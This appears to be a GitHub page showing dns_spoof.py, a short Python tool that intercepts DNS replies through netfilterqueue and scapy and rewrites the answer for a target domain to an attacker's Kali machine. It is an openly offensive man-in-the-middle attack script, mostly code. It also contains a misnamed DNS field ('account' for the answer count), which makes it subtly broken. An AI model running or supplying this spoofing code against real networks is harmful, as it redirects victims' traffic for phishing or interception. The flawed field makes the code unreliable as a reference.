-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathdns_spoof.py
35 lines (28 loc) · 846 Bytes
/
dns_spoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Author: Mystik Developed
#
# Date: 12/30/2019
#
# Note: create iptable before run
#
#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
print("Spoofing DNS...")
def read_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSRR].qname
if "url" in qname:
print ("[+] Spoofing target")
answer = scapy.DNSRR(rrname=qname, rdata="kali ip")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].account = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, read_packet)
queue.run()